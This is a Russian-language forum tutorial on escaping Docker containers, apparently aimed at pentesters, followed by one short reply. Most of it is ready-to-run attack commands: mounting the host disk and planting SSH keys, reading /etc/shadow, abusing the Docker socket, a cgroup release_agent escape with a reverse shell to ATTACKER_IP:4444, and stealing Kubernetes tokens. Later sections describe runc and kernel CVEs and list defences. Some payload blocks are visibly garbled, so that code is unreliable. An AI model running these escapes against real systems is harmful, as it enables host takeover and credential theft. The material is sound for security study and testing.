PDA

Просмотр полной версии : Побег из Docker контейнера: техники эксплуатации от privileged mode до уязвимостей runc


Сергей Попов
17.04.2026, 11:28
https://forum.antichat.xyz/attachments/4951555/img_a548536641.png

Контейнер - это не виртуальная машина. Когда ты оказываешься внутри контейнера на пентесте, между тобой и ядром хоста нет аппаратного гипервизора. Есть набор софтовых абстракций - namespaces, cgroups, capabilities, seccomp-профили - и любая из них может быть ослаблена мисконфигурацией или сломана уязвимостью. Побег из Docker контейнера (Escape to Host, T1611 по MITRE ATT&CK, тактика privilege-escalation) - переход из изолированного пользовательского пространства на хост с получением контроля над базовой системой и всеми соседними контейнерами.

Здесь я разбираю конкретные container escape techniques - от тривиального злоупотребления

--privileged

до эксплуатации свежих уязвимостей runc из серии Leaky Vessels. Для каждого вектора - механика на уровне ядра, воспроизводимые команды и объяснение, почему оно вообще работает. Материал для пентестеров, которые хотят не просто «запускать скрипт», а понимать, какой syscall за что отвечает.
Почему контейнерная изоляция ломается
Прежде чем ломать - нужно понять, что именно нас держит. Контейнер - это процесс (или группа процессов), которому через механизмы ядра Linux создано собственное пользовательское пространство. Четыре столпа этой изоляции:

Namespaces определяют, что процесс видит. Mount namespace даёт отдельную файловую систему, PID namespace - отдельное дерево процессов, NET namespace - отдельный сетевой стек. Процесс внутри контейнера взаимодействует со своими экземплярами глобальных ресурсов и не видит хостовые.

Cgroups определяют, сколько ресурсов процесс может сожрать: CPU, память, I/O. Но cgroups v1 содержат механизм

release_agent

, который выполняет команды в контексте хоста - и это станет нашим вектором атаки.

Capabilities определяют, что процесс может делать. Linux разбивает привилегии root на дискретные единицы:

CAP_SYS_ADMIN

(монтирование ФС, манипуляции с cgroups),

CAP_SYS_PTRACE

(трассировка чужих процессов),

CAP_NET_ADMIN

(управление сетью). Docker по умолчанию дропает большинство capabilities, но администраторы с завидным упорством возвращают их обратно.

Seccomp фильтрует системные вызовы. Профиль Docker по умолчанию блокирует опасные syscall'ы вроде

mount

,

reboot

,

kexec_load

.

Критический момент: все контейнеры на хосте разделяют одно ядро. Уязвимость в ядре эксплуатируется из любого контейнера, независимо от его конфигурации. Это фундаментальное отличие от виртуальных машин, где каждая ВМ работает со своим экземпляром ядра, изолированным на уровне CPU.
Разведка: определяем вектор побега изнутри контейнера
Первое, что делаешь, получив шелл в контейнере - собираешь информацию о среде. Не стреляешь вслепую, а методично определяешь, какие механизмы изоляции ослаблены.
Проверка: мы вообще в контейнере?

Bash:



# Наличие .dockerenv - верный признак Docker-контейнера
ls
-la /.dockerenv
# Cgroup - если видишь /docker/ или /kubepods/ в пути, ты в контейнере
cat
/proc/1/cgroup
# Количество процессов - в контейнере их обычно мало
ps
aux
|
wc
-l


Проверка capabilities

Bash:



# Если установлен capsh
capsh --print
# Или через /proc
cat
/proc/self/status
|
grep
-i cap
# Декодирование capability bitmask
# CapEff: 0000003fffffffff означает полный набор - мы в privileged
capsh --decode
=
0000003fffffffff


Если

CapEff

содержит полный набор (значение

0000003fffffffff

или близкое) - контейнер запущен с

--privileged

. Это первый и самый жирный вектор.
Проверка монтирований и сокетов

Bash:



# Ищем Docker socket
ls
-la /var/run/docker.sock
ls
-la /run/docker.sock
# Ищем монтированные хостовые директории
mount
|
grep
-E
"ext4|xfs|btrfs"
cat
/proc/self/mountinfo
# Ищем блочные устройства (доступны в privileged)
fdisk
-l
2>
/dev/null
||
lsblk
2>
/dev/null


Проверка версии ядра и среды

Bash:



uname
-a
cat
/proc/version
# Информация о контейнерном рантайме
cat
/proc/1/cmdline
|
tr
'\0'
' '


Инструменты автоматизации, которые я использую на реальных engagement'ах:

ИнструментЧто делаетКогда использовать

amicontained

Показывает namespaces, capabilities, seccomp modeБыстрая первичная разведка

deepce

Комплексная проверка всех векторов побегаПолный аудит контейнера

CDK

(Container Escape Toolkit)Автоматическая эксплуатация известных векторовКогда нужен быстрый результат

Я обычно начинаю с

amicontained

- он лёгкий и за пару секунд даёт картину. Если ничего очевидного нет, подключаю

deepce

.
Docker privileged mode escape: прогулка, а не взлом
Флаг

--privileged

- это отключение практически всех механизмов изоляции разом. Контейнер получает полный набор Linux capabilities, доступ ко всем устройствам хоста через

/dev

, отключение AppArmor и seccomp-профилей. Privileged-контейнеры - самый частый вектор побега на пентестах, и это не преувеличение.
Почему это работает
Когда Docker запускает контейнер с

--privileged

, он не модифицирует capabilities процесса - тот сохраняет полные привилегии root. Все устройства хоста (включая блочные

/dev/sda

,

/dev/nvme0n1p1

) становятся видимы и доступны. Seccomp-профиль не применяется, так что syscall

mount

работает без ограничений. По сути, тебя посадили в «клетку» с открытой дверью.
Пошаговая эксплуатация
Шаг 1. Подтверждаем privileged mode:

Bash:



# Проверяем capabilities - должны быть полные
capsh --print
2>
/dev/null
|
grep
"Current"
# Или проверяем доступ к устройствам
ls
/dev/sda* /dev/nvme* /dev/vda*
2>
/dev/null


Шаг 2. Находим корневое блочное устройство хоста:

Bash:



fdisk
-l
2>
/dev/null
|
grep
"Disk /dev"
# Типичный результат: /dev/sda1, /dev/vda1, /dev/nvme0n1p1


Шаг 3. Монтируем файловую систему хоста:

Bash:



mkdir
-p /mnt/host
mount
/dev/sda1 /mnt/host


Шаг 4. Получаем полный доступ к хосту:

Bash:



# Вариант 1: chroot в хостовую ФС
chroot
/mnt/host /bin/bash
# Вариант 2: добавляем SSH-ключ для персистентного доступа
echo
"ssh-rsa AAAA...ваш_ключ..."
>>
/mnt/host/root/.ssh/authorized_keys
# Вариант 3: читаем чувствительные файлы
cat
/mnt/host/etc/shadow


После

chroot /mnt/host /bin/bash

ты фактически root на хосте. Можно создавать пользователей, читать секреты, модифицировать системные сервисы. Побег занимает буквально секунды - я засекал.

И вот что обидно (для защитников): privileged-контейнеры по-прежнему часто встречаются в production. CI/CD-пайплайны с Docker-in-Docker, мониторинговые агенты, dev-окружения, где разработчик добавил

--privileged

чтобы «просто работало». На каждом втором проекте натыкаюсь.
Mounted Docker socket exploitation: ключи под ковриком
Монтирование Docker-сокета (

/var/run/docker.sock

) в контейнер - второй по частоте вектор побега. Этот паттерн используется CI/CD-системами (Jenkins, GitLab Runner), инструментами мониторинга (Portainer, cAdvisor), лог-агрегаторами.
Почему это работает
Docker daemon работает от root. Сокет

/var/run/docker.sock

- Unix-сокет, через который клиент общается с демоном по Docker API. Любой, кто имеет доступ к этому сокету, может отправлять команды демону от имени root. Это не уязвимость - это штатная работа API. Но с точки зрения безопасности, доступ к сокету эквивалентен root SSH на хост. Ключи буквально лежат под ковриком.
Пошаговая эксплуатация
Шаг 1. Проверяем наличие сокета:

Bash:



ls
-la /var/run/docker.sock
# srw-rw---- 1 root docker ... /var/run/docker.sock


Шаг 2. Взаимодействуем с Docker API.

Если в контейнере нет клиента Docker, используем curl:

Bash:



# Проверяем, что API доступно
curl
-s --unix-socket /var/run/docker.sock http://localhost/version
# Список запущенных контейнеров
curl
-s --unix-socket /var/run/docker.sock http://localhost/containers/json
|
python3 -m json.tool


Шаг 3. Создаём привилегированный контейнер с доступом к хостовой ФС:

Если Docker-клиент доступен:

Bash:



docker -H unix:///var/run/docker.sock run -it --privileged
\
--pid
=
host --net
=
host
\
-v /:/hostfs
\
alpine
chroot
/hostfs /bin/sh


Если доступен только curl:

Bash:



# Создаём контейнер через API
curl
-s --unix-socket /var/run/docker.sock
\
-X POST http://localhost/containers/create
\
-H
"Content-Type: application/json"
\
-d
'{"Image":"alpine","Cmd":["/bin/sh"],"Privileged":true,"HostConfig":{"Binds":["/:/hostfs"],"Privileged":true}}'


Шаг 4. Альтернатива - nsenter в PID 1 хоста:

Bash:



docker -H unix:///var/run/docker.sock run -it --privileged
\
--pid
=
host alpine nsenter -t
1
-m -u -i -n -p -- /bin/bash


Команда

nsenter

входит во все namespaces процесса с PID 1 на хосте (обычно systemd/init), фактически давая полный root-шелл на хосте.

Получив доступ к Docker API, обязательно проверь соседние контейнеры через

docker ps

. Рядом могут крутиться контейнеры с базами данных, секретами, внутренними сервисами - вектор для латерального перемещения. На одном engagement'е я так нашёл контейнер с PostgreSQL, у которого пароль лежал в переменных окружения.
Cgroups release_agent escape: красивый трюк с ядром
Этот вектор работает, когда контейнер не имеет полного

--privileged

, но обладает capability

CAP_SYS_ADMIN

. Техника эксплуатирует механизм

notify_on_release

в cgroups v1.
Механика на уровне ядра
В cgroups v1 каждая cgroup имеет файл

notify_on_release

. Когда его значение равно

1

и последний процесс покидает cgroup, ядро выполняет бинарник, указанный в файле

release_agent

корневой cgroup. Ключевой момент: выполнение происходит в контексте хоста, а не контейнера. Ядру всё равно, кто записал путь в

release_agent

- оно тупо запускает указанный файл от root на хосте.
Почему cgroups v2 не уязвим
В cgroups v2 механизм

release_agent

выпилен. Вместо него - более безопасный механизм уведомлений. Если на хосте cgroups v2 (по умолчанию в новых дистрибутивах), этот вектор не сработает. Проверить:

Bash:



# Если существует /sys/fs/cgroup/cgroup.controllers - это cgroup v2
ls
/sys/fs/cgroup/cgroup.controllers
2>
/dev/null
&&
echo
"cgroup v2"
||
echo
"cgroup v1"


Пошаговая эксплуатация (cgroup v1 + CAP_SYS_ADMIN)
Шаг 1. Монтируем cgroup и создаём поддиректорию:

Bash:



mkdir
-p /tmp/cgrp
mount
-t cgroup -o pids cgroup /tmp/cgrp
# Если pids недоступна, попробуйте другие подсистемы:
# mount -t cgroup -o devices cgroup /tmp/cgrp
# mount -t cgroup -o rdma cgroup /tmp/cgrp
# Если подсистема уже смонтирована, работайте напрямую с /sys/fs/cgroup//
# без повторного монтирования (mkdir /sys/fs/cgroup/pids/escape и т.д.)
mkdir
/tmp/cgrp/escape


Шаг 2. Включаем notify_on_release и определяем путь к ФС контейнера на хосте:

Bash:



echo
1
>
/tmp/cgrp/escape/notify_on_release
# Определяем overlay path - это путь на хосте к файловой системе контейнера
host_path
=
$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo
"$host_path/cmd"
>
/tmp/cgrp/release_agent


Шаг 3. Создаём payload:

Bash:



cat
>
/cmd
/output
cat /etc/hostname >> /output
id >> /output
EOF
chmod
+x /cmd


Шаг 4. Триггерим выполнение:

Bash:



# Запускаем процесс в нашей cgroup и сразу завершаем его
sh
-c
"echo \$\$ > /tmp/cgrp/escape/cgroup.procs"
# sh -c завершится сразу после echo, став последним процессом в cgroup
# и триггерив notify_on_release. Если не сработало, используйте:
# sh -c "echo \$\$ > /tmp/cgrp/escape/cgroup.procs" &
# Даём время на выполнение release_agent и читаем результат
sleep
1
cat
/output


Когда процесс завершается, он становится последним (и единственным) в cgroup

escape

. Ядро видит

notify_on_release=1

, берёт путь из

release_agent

и выполняет наш скрипт в контексте хоста. Результат:

Bash:



cat
/output
# Вывод ps aux хоста, hostname хоста, uid=0(root)


Красиво, правда? Ядро само выполняет наш код на хосте. Для полноценного reverse shell замени payload:

Bash:



cat
>
/cmd
& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF


Уязвимости runc: от CVE-2019-5736 до Leaky Vessels
Runc - низкоуровневый контейнерный рантайм, который непосредственно создаёт и запускает контейнеры. Его используют Docker, containerd, CRI-O, Kubernetes. Уязвимость в runc бьёт по всей контейнерной инфраструктуре разом.
CVE-2019-5736: перезапись бинарника runc на хосте
CVSS 8.6 (HIGH), вектор CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C - обратите внимание на

S:C

(Scope: Changed), что означает выход за пределы контейнера. CWE-78 (OS Command Injection). Затронуты runc до версии 1.0-rc6 и Docker до 18.09.2.

Механика: Уязвимость связана с некорректной обработкой файловых дескрипторов. Когда выполняется

docker exec

для запуска процесса в существующем контейнере, runc на хосте открывает себя через

/proc/self/exe

. Атакующий внутри контейнера может перезаписать бинарник runc на хосте через этот файловый дескриптор. После перезаписи любой последующий запуск контейнера выполнит подменённый runc с правами root.

Условия эксплуатации:

Атакующий контролирует образ контейнера, ИЛИ имеет запись в существующий контейнер, к которому применяется

docker exec


Требуется действие пользователя (

UI:R

) - кто-то должен выполнить

docker exec

или запустить контейнер
Эта CVE была одной из первых громких container escape уязвимостей в runc и сильно подтолкнула разработку rootless-контейнеров.
CVE-2024-21626: Leaky Vessels - утечка файловых дескрипторов
CVSS 8.6 (HIGH), вектор аналогичный -

S:C

(выход за пределы контейнера). CWE-403 (Exposure of File Descriptor to Unintended Control Sphere), CWE-668 (Exposure of Resource to Wrong Sphere). Затронуты runc 1.1.11 и ранее.

Механика: Из-за утечки внутреннего файлового дескриптора атакующий мог заставить процесс, создаваемый через

runc exec

, иметь рабочую директорию в файловой системе хоста. Это давало доступ к хостовой ФС из контейнера. Тот же вектор мог быть использован через вредоносный Docker-образ для получения доступа к хосту при запуске контейнера.

По данным Wiz, уязвимость имела широкое воздействие на облачные среды - затронут базовый компонент всей контейнерной инфраструктуры.
Серия CVE-2025: новые symlink/TOCTOU-уязвимости runc
В 2025 году раскрыты три новых уязвимости в runc, эксплуатирующие схожие классы проблем - symlink-гонки и некорректную верификацию bind-mount'ов (не связаны с оригинальным брендом Leaky Vessels от Snyk, который относился к CVE-2024-21626 и смежным CVE):

CVE-2025-31133 (

CVSS 7.3 HIGH по CVSS 4.0, PR:L/UI:A/AT:P

- нужны локальные привилегии, активное взаимодействие пользователя и предусловия атаки). CWE-61 (UNIX Symbolic Link Following), CWE-363 (Race Condition Enabling Link Following). Runc недостаточно верифицировал, что источник bind-mount (например,

/dev/null

контейнера) действительно является настоящим inode

/dev/null

. Атакующий мог подменить

/dev/null

симлинком на файлы procfs (например,

/proc/sys/kernel/core_pattern

), обойдя защиту maskedPaths. Затронуты runc версий до 1.2.7, 1.3.0-rc.1 - 1.3.1, 1.4.0-rc.1 - 1.4.0-rc.2.

CVE-2025-52565 (CVSS 8.4 HIGH по CVSS 4.0). Те же CWE-61 и CWE-363. Из-за недостаточных проверок при bind-mount

/dev/pts/$n

в

/dev/console

внутри контейнера атакующий мог обманом заставить runc смонтировать пути, которые обычно доступны только на чтение или замаскированы.

PR:N

(не нужны привилегии),

UI:P

(нужно действие пользователя - например, сборка образа).

CVE-2025-52881 (CVSS 7.3 HIGH по

CVSS 4.0, PR:L/UI:A/AT:P

). Затронуты runc версий 1.2.7, 1.3.2 и 1.4.0-rc.2. Атакующий мог перенаправить записи в

/proc

на другие procfs-файлы через гонку с использованием контейнера с общими монтированиями. Верифицировано, что эксплуатация возможна через стандартный Dockerfile при

docker buildx build

.

Все три уязвимости исправлены в runc 1.2.8 и новее. Общий паттерн - symlink/TOCTOU-гонки (CWE-61, CWE-363) при инициализации контейнера. Runc наступает на одни и те же грабли - гонки при работе с симлинками.
Kernel exploits: общее ядро - общие уязвимости
В отличие от уязвимостей runc, kernel exploits не зависят от конфигурации контейнера. Ядро уязвимо - побег возможен из любого контейнера. Тут уже не важно, насколько аккуратно настроены capabilities и seccomp.
CVE-2022-0847 - Dirty Pipe
CVSS 7.8 (HIGH), вектор CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U. CWE-665 (Improper Initialization). Уязвимость в pipe-подсистеме ядра Linux: поле

flags

новой структуры pipe buffer не инициализировалось корректно и могло содержать устаревшие значения. Непривилегированный локальный пользователь мог записывать в страницы page cache, связанные с файлами «только для чтения». Затронуты ядра от 5.8 до 5.16.11/5.15.25/5.10.102.

В контексте контейнеров основной вектор escape - перезапись бинарников контейнерного рантайма (runc, containerd-shim) через

/proc

, которые исполняются хостом при операциях с контейнерами. Прямая перезапись файлов через overlay layers имеет ограничения из-за copy-on-write семантики.
CVE-2022-0185 - Integer Overflow → Heap-Based Buffer Overflow в Filesystem Context
CVSS 8.4 (HIGH), вектор CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U -

S:U

(Scope: Unchanged), то есть сама по себе уязвимость не пересекает security boundary. CWE-190 (Integer Overflow), CWE-191 (Integer Underflow) - heap-based buffer overflow как следствие целочисленного переполнения. Переполнение кучи в функции

legacy_parse_param

при обработке параметров файловой системы. Это уязвимость локального повышения привилегий (LPE), которая может быть частью цепочки container escape. Непривилегированный пользователь мог эксплуатировать её при включённых unprivileged user namespaces; в противном случае требовался

CAP_SYS_ADMIN

в user namespace.
CVE-2024-1086 - nf_tables Use-After-Free
CVSS 7.8 (HIGH). CWE-416 (Use After Free). Уязвимость в netfilter-подсистеме: функция

nft_verdict_init()

позволяла положительные значения как drop error, что приводило к double free в

nf_hook_slow()

. Эксплуатируема из контейнеров с доступом к сетевому namespace. По данным Blaxel, в октябре 2025 года CISA подтвердила активную эксплуатацию этой уязвимости в ransomware-кампаниях группировками RansomHub и Akira. Это не теория - это уже в дикой природе.
CVE-2016-5195 - Dirty COW
CVSS 7.0 (HIGH), вектор CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U - AC:H указывает на высокую сложность из-за необходимости выиграть race condition, что может потребовать множественных попыток. CWE-362 (Race Condition). Race condition в подсистеме управления памятью ядра, позволявшая запись в read-only memory mappings. Одна из первых kernel CVE, массово использовавшихся для побега из контейнеров. Старая, но на непатченных системах до сих пор встречается (да, такие ещё живы).
Docker socket через сеть: побег без локального сокета
Отдельная история - когда Docker daemon доступен по TCP (порт 2375/2376). Встречается в Kubernetes-кластерах, CI/CD-пайплайнах, dev-средах. Проверка:

Bash:



# Изнутри контейнера или сети
curl
-s http://

:2375/version


Если API отвечает без аутентификации - это полный доступ к хосту. Дальнейшая эксплуатация аналогична mounted docker socket exploitation. Порт 2375 без TLS и auth - это как оставить root-шелл на 0.0.0.0.
Kubernetes container escape: расширение поверхности атаки
В Kubernetes-средах вектора побега усиливаются дополнительными мисконфигурациями:

hostPID: true - контейнер разделяет PID namespace с хостом, видит все процессы. Комбинация с

CAP_SYS_PTRACE

позволяет производить инъекцию в код внутрь хостовых процессов

hostNetwork: true - контейнер разделяет сетевой namespace хоста, может перехватывать трафик

hostIPC: true - доступ к shared memory хоста

serviceAccountToken - автоматически монтируемый токен может иметь избыточные RBAC-права в кластере
Проверка из pod'а:

Bash:



# Наличие хостового PID namespace
cat
/proc/1/cmdline
|
tr
'\0'
' '
# Если видишь systemd/init - ты в хостовом PID namespace
# Проверка Kubernetes service account
cat
/var/run/secrets/kubernetes.io/serviceaccount/token
# Попытка обращения к API server
curl
-sk https://kubernetes.default/api/v1/namespaces
\
-H
"Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"


Практический алгоритм: пентест контейнера за 10 шагов
Вот последовательность, которую я использую на engagement'ах. Порядок оптимизирован по вероятности успеха и скорости:

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше (https://forum.antichat.xyz/threads/560728/)


Получить доступ просто — достаточно проявить активность на форуме

Что затрудняет побег: защитные механизмы глазами атакующего
Понимание защиты помогает правильно оценить среду и не тратить время на нерабочие векторы.

User namespaces. Если включены, root внутри контейнера (UID 0) маппится на непривилегированного пользователя на хосте. Даже побег из контейнера не даёт root на хосте. Проверка:

cat /proc/self/uid_map

- если маппинг не

0 0 4294967295

, user namespaces активны.

Seccomp-профили. Дефолтный Docker-профиль блокирует около 44 syscall'ов, включая

mount

,

ptrace

,

reboot

. Если seccomp активен и не ослаблен, вектор через cgroups release_agent не сработает - syscall

mount

будет заблокирован.

AppArmor/SELinux. Дополнительные MAC-политики ограничивают доступ к файлам и операциям даже для процессов с нужными capabilities.

Cgroups v2. Удалён

release_agent

- целый класс атак становится невозможным.

Rootless containers. Docker daemon работает от непривилегированного пользователя. Даже при полном побеге атакующий получает лишь права этого пользователя. Неприятно.

Read-only root filesystem. Затрудняет размещение payload'ов, но обходится через tmpfs-монтирования.

Своевременный патчинг. Container escape CVE в runc, containerd и ядре Linux публикуются регулярно. Aggressive patching schedule - самая эффективная защита от эксплуатации уязвимостей. Для минимизации поверхности атаки рекомендуется использовать специализированные container-optimized ОС: Bottlerocket, Flatcar, Talos Linux.

Для обнаружения попыток побега в runtime - инструменты на основе eBPF: Falco и Sysdig Secure (https://forum.antichat.xyz/threads/592612/) отслеживают аномальные системные вызовы, нетипичные деревья процессов и использование capabilities, характерное для эксплуатации.
Заключение
Побег из Docker контейнера - не экзотика, а стандартная часть kill chain при пентесте контейнерной инфраструктуры. Privileged mode и mounted Docker socket - тривиальные векторы, которые встречаются чаще, чем хотелось бы. Cgroups release_agent требует

CAP_SYS_ADMIN

и cgroups v1, но на множестве production-систем эти условия выполняются. Уязвимости runc - от CVE-2019-5736 до Leaky Vessels (CVE-2024-21626) и свежих symlink/TOCTOU-уязвимостей runc (CVE-2025-31133, CVE-2025-52565, CVE-2025-52881) - бьют по всей контейнерной инфраструктуре. Kernel exploits (Dirty Pipe, Dirty COW, CVE-2024-1086) работают из любого контейнера, потому что ядро общее.

Контейнер - набор софтовых абстракций, а не аппаратная граница. Попробуйте прогнать свои production-контейнеры по чеклисту из раздела «10 шагов». Если нашли

--privileged

или торчащий сокет - у вас та же проблема, что и у половины индустрии.

DronSS
14.06.2026, 08:15
Чётко подмечено, что контейнеры — это не ВМ, изоляция в Linux — не железная, а набор настроек и разрешений. Как только что-то ослаблено — побег почти гарантирован, особенно если кто-то лень ставит флаг privileged или дырявый сокет монтирует. Лучше с утра сразу проверять эти базовые вещи и не надеяться на чудо безопасности.